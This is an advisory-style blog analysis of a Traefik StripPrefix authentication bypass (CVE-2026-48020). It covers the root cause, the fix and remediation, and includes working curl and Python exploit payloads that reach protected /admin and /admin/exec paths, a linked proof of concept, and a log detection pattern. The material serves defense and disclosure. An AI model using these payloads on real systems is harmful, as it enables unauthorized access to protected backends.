StripPrefix and the One-Slash That Broke Auth: CVE-2026-48020 — Traefik Route-Level Authentication Bypass
On June 23, 2026, NIST’s National Vulnerability Database published CVE-2026-48020, a route-level authentication and authorization bypass in Traefik, the cloud-native reverse proxy and ingress controller that fronts a huge slice of the modern web (and most Kubernetes clusters). NVD scores it 10.0 Critical under CVSS 3.1; the Traefik maintainers’ own GitHub advisory grades it 7.8 High under CVSS 4.0. Whichever scale you prefer, the headline is the same: an unauthenticated, network-reachable attacker can reach backend paths that an operator explicitly placed behind a separate authenticated router.
The bug is beautiful in its simplicity, and it is the kind of issue I always tell teams to look for during edge-tier reviews: a request is authorized on one representation of its path and then forwarded on a different one. Traefik decides which router handles a request using the raw, un-normalized URL, then its StripPrefix middleware rewrites and normalizes that path before sending it upstream. A single .. segment — literal or percent-encoded as %2e%2e — lets the request dress as a public /api route at decision time and then morph into a protected /admin route by the time it reaches the backend.
If that pattern sounds familiar, it is. We have written before about how the trickiest web-application flaws live in the gap between two assumptions — see our piece on Race Condition Attacks in Web Applications, where the same “two checks, two states” shape shows up. CVE-2026-48020 is the edge-proxy version of that family.
Vulnerability Classification
| Field | Value |
|---|---|
| CVE ID | CVE-2026-48020 |
| GHSA | GHSA-xf64-8mw2-4gr2 |
| CVSS 3.1 (NVD) | 10.0 — Critical |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| CVSS 4.0 (GitHub) | 7.8 — High |
| CVSS 4.0 Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N |
| CWE (NVD) | CWE-288 — Authentication Bypass Using an Alternate Path or Channel |
| Related CWEs | CWE-863 (Incorrect Authorization), CWE-180 (Validate Before Canonicalize), CWE-22 (Path Traversal) |
| Affected Component | StripPrefix (and StripPrefixRegex) middleware |
| Affected Versions | Traefik <= v2.11.46, <= v3.6.17, <= v3.7.1 |
| Patched Versions | v2.11.48, v3.6.19, v3.7.3 |
| CVE Published | June 23, 2026 (advisory GHSA published June 5, 2026) |
| Reporter | WonYun / kyun0 (GitHub: @H4ck2) |
A quick note on the two scores: CVSS 3.1 scores this 10.0 because of Scope: Changed — the impact crosses from the proxy’s routing authority into the protected backend system. The newer CVSS 4.0 model splits vulnerable-system and subsequent-system impacts explicitly, and lands at 7.8. Both are above 7; the practical takeaway is “unauthenticated, network-reachable, high impact.”
Background: Traefik, Routers, and Middlewares
Traefik is an HTTP reverse proxy and load balancer designed around dynamic configuration. In a Kubernetes cluster it is the ingress controller that terminates traffic and routes it to services; outside Kubernetes it is just as happy reading a YAML file from disk. Its mental model is built on three primitives:
- Entrypoints — the listening sockets (e.g.
:80,:443, a QUIC/HTTP-3 UDP socket). - Routers — rules that decide which entrypoint traffic a request matches and which service/middleware chain handles it. A rule like
PathPrefix(\/admin`)matches any request whose path starts with/admin`. - Middlewares — the processing pipeline attached to a router: authentication (Basic, Digest, Forward), rate limiting, header manipulation, and — critically for this CVE — path rewriting.
The two middlewares at the heart of this vulnerability are:
StripPrefix— removes a configured prefix from the request path before forwarding it upstream. A router matching/apiwithStripPrefix(/api)turns a request to/api/users/42into a backend request to/users/42.StripPrefixRegex— the regex-powered sibling; the fix covers both.
This prefix-stripping pattern is enormously common. You expose a single service behind /api at the edge, strip the prefix, and the backend thinks it is mounted at /. It is clean, idiomatic, and — as it turns out — dangerous when combined with a separately authenticated router.
The deployment pattern that triggers the bug
The vulnerable configuration is not exotic. It is what many teams write the first day they split a public API from an admin panel behind the same proxy:
http:
routers:
public-api:
# Public route: everything under /api, minus the admin/internal subtrees.
rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
entryPoints: [web]
middlewares: [strip-api] # <-- strips /api, NO auth
service: backend
protected:
# Protected route: admin and internal panels require credentials.
rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
entryPoints: [web]
middlewares: [auth] # <-- basicAuth
service: backend
middlewares:
strip-api:
stripPrefix:
prefixes: [/api]
auth:
basicAuth:
users:
- 'admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
The operator’s intent is obvious: /api/** is public (with /api/admin and /api/internal carved out), while /admin and /internal are locked behind Basic auth. The carve-out exclusions are there precisely to stop the public strip route from ever forwarding into the protected namespace. It looks airtight. It isn’t.
The Core Flaw: Route on the Raw Path, Forward on the Normalized One
Traefik builds a routing tree from the rule expressions and matches each incoming request against it using the raw URL path exactly as it arrived — .. segments intact, no collapse, no normalization. That match selects a router and freezes the middleware chain. Only after that selection does the pipeline run, and StripPrefix does its work.
Here is the key detail the reporter nailed down: in the affected versions, StripPrefix does not simply slice the prefix off the string. Internally it rebuilds the URL with Go’s req.URL.JoinPath(), which canonicalizes the path — collapsing . and .. segments according to path semantics. That is the order-of-operations bug in a single sentence:
- Routing matches
PathPrefix(\/api`)on the literal path/api../admin(it does start with/api`). - The
!PathPrefix(\/api/admin`)exclusion does **not** match, because the path is/api../admin, not/api/admin` — so the public router wins. StripPrefix(/api)strips/api, leaving/../admin.JoinPath()normalizes/../admininto/admin.- The backend receives
GET /admin— a path owned by the protected router — with no authentication ever applied.
Incoming path: /api../admin
Routing decision (raw): matches public PathPrefix(`/api`) ✓ auth skipped
After StripPrefix(`/api`): /../admin
After JoinPath() canonical: /admin ← belongs to protected router
Backend receives: GET /admin (200, unauthenticated)
The percent-encoded form works too, because the raw matcher still sees /api%2e%2e/admin as starting with /api:
GET /api%2e%2e/admin → matches PathPrefix(`/api`) → strip → /admin
This is a textbook CWE-180: Incorrect Behavior Order — Validate Before Canonicalize. Traefik validated (authorized) against one path representation and then forwarded against another. It is also why the NVD-assigned CWE-288 (Authentication Bypass Using an Alternate Path or Channel) fits so well: the attacker never defeats the basicAuth middleware; they simply never visit it, by reaching the protected resource through an alternate path that the normalizer quietly assembles for them.
Attack Scenario Walkthrough
Prerequisites
- A Traefik deployment on an affected version (
<= v2.11.46,<= v3.6.17,<= v3.7.1). - A public
PathPrefixrouter usingStripPrefix(orStripPrefixRegex) coexisting with a separately authenticated router that guards a different path prefix — e.g./api(stripped, public) alongside/admin(authenticated). - Network reachability to the entrypoint. There is no user interaction, no credentials, and no special privileges required.
Step 1: Reconnaissance
The attacker fingerprints the edge. Traefik — when its dashboard/API is exposed, a common default — answers on /dashboard/ and on the /api/ entrypoints it exposes for health and metrics. The more useful signal is how the routes themselves behave. The attacker probes a few paths to map the routing shape:
$ curl -si http://target.example.com/api/health
HTTP/1.1 200 OK
$ curl -si http://target.example.com/admin
HTTP/1.1 401 Unauthorized
Www-Authenticate: Basic realm="traefik"
A 401 with a Basic challenge on /admin tells the attacker two things: there is an admin namespace, and it is guarded by a separate authenticated router (the basicAuth middleware). That is the exact precondition for the bypass.
Step 2: Crafting the Payload
The payload is two characters: .. placed right after the prefix that the public router strips.
# No credentials. Literal traversal form:
$ curl -s --path-as-is http://target.example.com/api../admin
{"seen_path":"/admin","secret":"ADMIN_SECRET_REACHED","role":"administrator","bypassed_auth":true}
Two implementation details matter when you send this yourself:
--path-as-is(curl) or equivalent — most HTTP clients collapse..segments client-side before sending. You must suppress that so the raw/api../adminreaches the wire.curl’s--path-as-is, Python’s manualRequest, or Burp Repeater all do this correctly.- Encoding — the percent-encoded variant
/api%2e%2e/admindefeats clients and intermediate proxies that might otherwise normalize, and it bypasses WAFs that pattern-match on a literal...
# Percent-encoded form, equally effective:
$ curl -s http://target.example.com/api%2e%2e/admin
{"seen_path":"/admin","secret":"ADMIN_SECRET_REACHED","role":"administrator","bypassed_auth":true}
Step 3: Impact Amplification
The bypass is a pure authorization boundary violation, not a memory-corruption RCE in Traefik itself. But its real-world severity is set by what lives behind the protected router. In the reporter’s lab, a protected /admin/exec endpoint — a generic “execute” primitive — was reachable through /api../admin/exec:
$ curl -s --path-as-is http://target.example.com/api../admin/exec
{"seen_path":"/admin/exec","secret":"EXEC_ENDPOINT_REACHED","note":"conditional RCE primitive"}
That turns an auth-bypass into a conditional RCE chain: any backend feature that was considered safely behind authentication — admin actions, internal config reads, debug endpoints, management APIs — becomes reachable. Secrets leak, internal configuration is exposed, and any execution primitive the backend exposes is now unauthenticated.
Root Cause Analysis
The vulnerability has a single root cause with a few compounding factors.
1. Normalize-after-route ordering
Traefik’s router tree is compiled from rule expressions and evaluated against the request’s raw path. StripPrefix, however, normalizes the path when it reconstructs the upstream URL via req.URL.JoinPath(). Because the authorization decision (router + middleware selection) is pinned to the pre-normalization path while the forwarded path is post-normalization, the two can diverge. Any input where the raw and normalized forms disagree — and .. is the canonical example — becomes a route/auth desynchronization.
2. Prefix-matching is greedy on the raw path
PathPrefix(\/api`)matches *any* path beginning with the literal/api, including/api..and/api%2e%2e. The exclusions operators wrote (!PathPrefix(`/api/admin`)`) were authored against the intended normalized namespace, so they miss the traversal variant entirely. You cannot enumerate your way out of this with exclusions — the normalization happens after your exclusions have already run.
3. The traversal is invisible to the protected router
Once the public router is selected, the protected router’s basicAuth middleware is structurally unreachable for this request. There is no second authorization pass on the post-strip path. The backend is the only thing that “sees” /admin, and the backend typically trusts the proxy.
Why the score is 10.0 (CVSS 3.1)
Scope is Changed: the vulnerability crosses an authority boundary between Traefik (the routing authority) and the backend system it protects. Combined with AV:N (network), PR:N (no privileges), UI:N (no user interaction), and C:H/I:H on the subsequent system, the 3.1 formula maxes out at 10.0. The 4.0 model makes the vulnerable-vs-subsequent split explicit and settles at 7.8 — still firmly in “fix it now” territory.
The Fix
The patch shipped in three concurrent releases — v2.11.48, v3.6.19, and v3.7.3 — and is documented in the release notes under the CVE. The implementation lives in Traefik PR #13215: “Reject requests with different paths after StripPrefix and StripPrefixRegex normalisation.”
The maintainer’s stated motivation is precise: “To avoid the stripped path from being interpreted as a different resource by the upstream service.” In other words, the fix does not try to make routing aware of normalization; it makes the post-normalization path divergence itself a rejection criterion.
The logic, in effect, is:
route on raw path → select router + middlewares
StripPrefix/Regex → strip prefix, JoinPath() normalises
if normalized_path != expected_path_after_strip: # NEW
reject (404) # resource identity changed
else:
forward
Once that check is in place, /api../admin is recognized as having changed identity during normalization (the routed form was a /api… path, the post-strip/normalized form is /admin) and is refused with a 404 before it ever reaches the backend. The accompanying releases also hardened a related area (PR #13227, “Avoid ingress path matcher injection”) for the Kubernetes Ingress provider.
A second advisory, CVE-2026-48491 (GHSA-5r4w-85f3-pw66), covers a domain-fronting-style variant fixed in the same v3.7.3 release, and CVE-2026-53622 covers an HTTP/3 (QUIC) mTLS bypass. If you are upgrading for CVE-2026-48020, you pick up all three.
Remediation
Immediate Action: Upgrade
# Docker / Compose — pin a fixed tag
sed -i 's|traefik:v3.7.1|traefik:v3.7.3|' docker-compose.yml
docker compose up -d --force-recreate
# Helm (Kubernetes)
helm upgrade traefik traefik/traefik \
--set image.tag=v3.7.3 \
--namespace traefik
Verify the version is no longer in the affected set:
$ curl -s http://target.example.com/api../admin
{"seen_path":"/api../admin","secret":null} # 404 — path rejected
Defense-in-depth: anchor your prefixes
The reporter verified mitigations that close the gap without relying on the normalization check, by making the public prefix unable to match the traversal form at all. Prefer the anchored regex form:
http:
routers:
public-api:
# ^/api followed by '/' or end-of-string — refuses /api.. at routing time
rule: 'PathRegexp(`^/api(/|$)`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
middlewares: [strip-api]
service: backend
Or, equivalently, use the trailing-slash form for both the match and the strip:
public-api:
rule: 'PathPrefix(`/api/`)'
middlewares: [strip-api-slash]
service: backend
middlewares:
strip-api-slash:
stripPrefix:
prefixes: [/api/]
Attention! Do not try to “fix” this by stacking more !PathPrefix exclusions. The exclusions are evaluated on the raw path, so they will always be one traversal variant behind. Anchor the prefix or upgrade.
Audit your access logs
Because exploitation is a single unauthenticated GET, it leaves a clear signature. Hunt for the bypass shape in your logs:
# Look for the traversal payload hitting any stripped prefix
grep -E '/api\.\./|/%2e%2e/|/[a-z]+\.\./' /var/log/traefik/access.log
Any 200 against such a path on a deployment that has not yet upgraded is a confirmed exploitation.
Proof of Concept
https://github.com/Hunt-Benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization
The PoC repo reproduces the advisory’s vulnerable configuration end-to-end with Docker. It spins up a vulnerable Traefik (v3.7.1) and a tiny Python backend that returns a canned secret for the protected paths, then runs a client that walks every payload variant and reports which protected paths were reached without credentials.
The vulnerable configuration (dynamic.yml):
http:
routers:
public-api:
rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
entryPoints: [web]
middlewares: [strip-api]
service: backend
protected:
rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
entryPoints: [web]
middlewares: [auth]
service: backend
middlewares:
strip-api:
stripPrefix:
prefixes: [/api]
auth:
basicAuth:
users:
- 'admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services:
backend:
loadBalancer:
servers:
- url: http://backend:9000
Bringing it up and running the exploit:
$ docker compose up -d --wait
[+] Running 2/2
✔ Container backend Started
✔ Container traefik Started
$ python3 poc.py
[*] Target: http://127.0.0.1:18080
[blocked] direct protected (auth enforced) /admin
-> status=401 body=...
[blocked] direct protected (auth enforced) /internal/config
-> status=401 body=...
[safe ] public strip + exclusion (safe) /api/admin
-> status=404 body=...
[safe ] public strip + exclusion (safe) /api/internal/config
-> status=404 body=...
[!] BYPASS literal .. /api../admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", "bypassed_auth": true}
[!] BYPASS encoded %2e%2e /api%2e%2e/admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", "bypassed_auth": true}
[!] BYPASS literal .. (exec endpoint) /api../admin/exec
-> status=200 body={"secret": "EXEC_ENDPOINT_REACHED", "seen_path": "/admin/exec", "note": "conditional RCE primitive"}
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.
The core of the client is deliberately simple — the subtlety is entirely on the wire, not in the code. Note the --path-as-is equivalent: we construct the request so the client does not pre-normalize the traversal:
from urllib.request import Request, urlopen
# Sent verbatim — no client-side '.'/'..' resolution.
req = Request("http://127.0.0.1:18080/api../admin")
with urlopen(req, timeout=5) as r:
print(r.status, r.read().decode()) # 200 {"seen_path":"/admin","secret":"ADMIN_SECRET_REACHED",...}
To verify the patch, bump the image tag to v3.7.3 and re-run — the same payloads now return 404, and the script reports “No bypass observed.” See the GitHub repo above for the full docker-compose.yml, dynamic.yml, backend.py, and poc.py, plus a README with step-by-step reproduction and verification instructions.
Why This Matters Beyond Traefik
CVE-2026-48020 is a near-perfect case study of a class of bug that recurs everywhere a request is inspected, authorized, and then transformed in separate stages: authorization-time-of-check vs. dispatch-time-of-use. It is the same shape as:
- Reverse-proxy path rewriting in nginx (
alias/rewritetraversal), Apache (Alias, mod_rewrite), and every API gateway that strips or rewrites path prefixes. - WAF normalization gaps, where a filter inspects one encoding and the origin normalizes another (
%2e%2e, double-encoding, Unicode normalization). - OAuth/OIDC redirect-URI canonicalization, where an identity decision is made on one form of a URL and the browser visits another — the family we covered in our Account-Takeover analysis.
The defensive lessons are universal and worth internalizing:
- Canonicalize before you authorize, not after. If you must transform a path, do it before the routing/authorization decision, and re-authorize if you transform afterward. Traefik’s fix takes the pragmatic alternative: detect that normalization changed the resource identity and refuse the request.
- Never trust prefix matching on un-normalized input.
PathPrefix(\/api`)is a string prefix, not a path-segment match. Anchor it (^/api(/|$)`) when the boundary matters. - Treat your edge proxy’s forwarded path as part of your trust model. Backends routinely assume “if the request reached me, the proxy authenticated it.” When the proxy can be tricked into mis-routing, that assumption fails silently.
For operators, the action is simple and non-negotiable: upgrade to v2.11.48, v3.6.19, or v3.7.3, and audit your logs for the /api../ signature. For the rest of us building routing systems, the lesson is the kind you only have to learn once — but that history shows we keep rediscovering: the moment your components disagree about what a path means, an attacker will make them disagree on purpose.
SOURCES
NIST National Vulnerability Database — CVE-2026-48020: https://nvd.nist.gov/vuln/detail/CVE-2026-48020
GitHub Security Advisory GHSA-xf64-8mw2-4gr2 (Traefik StripPrefix Route-Level Auth Bypass via Path Normalization): https://github.com/traefik/traefik/security/advisories/GHSA-xf64-8mw2-4gr2
Traefik Fix Pull Request #13215 — Reject requests with different paths after StripPrefix and StripPrefixRegex normalisation: https://github.com/traefik/traefik/pull/13215
Traefik Release v3.7.3 (CVE fixed): https://github.com/traefik/traefik/releases/tag/v3.7.3
Traefik Release v2.11.48 (CVE fixed): https://github.com/traefik/traefik/releases/tag/v2.11.48
Traefik Release v3.6.19 (CVE fixed): https://github.com/traefik/traefik/releases/tag/v3.6.19
CVE.org — CVE-2026-48020: https://www.cve.org/CVERecord?id=CVE-2026-48020
MITRE CWE-288 — Authentication Bypass Using an Alternate Path or Channel: https://cwe.mitre.org/data/definitions/288.html
MITRE CWE-180 — Incorrect Behavior Order: Validate Before Canonicalize: https://cwe.mitre.org/data/definitions/180.html
OWASP Top 10 — A01:2021 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
Traefik Documentation — StripPrefix middleware: https://doc.traefik.io/traefik/v3.7/middlewares/http/stripprefix/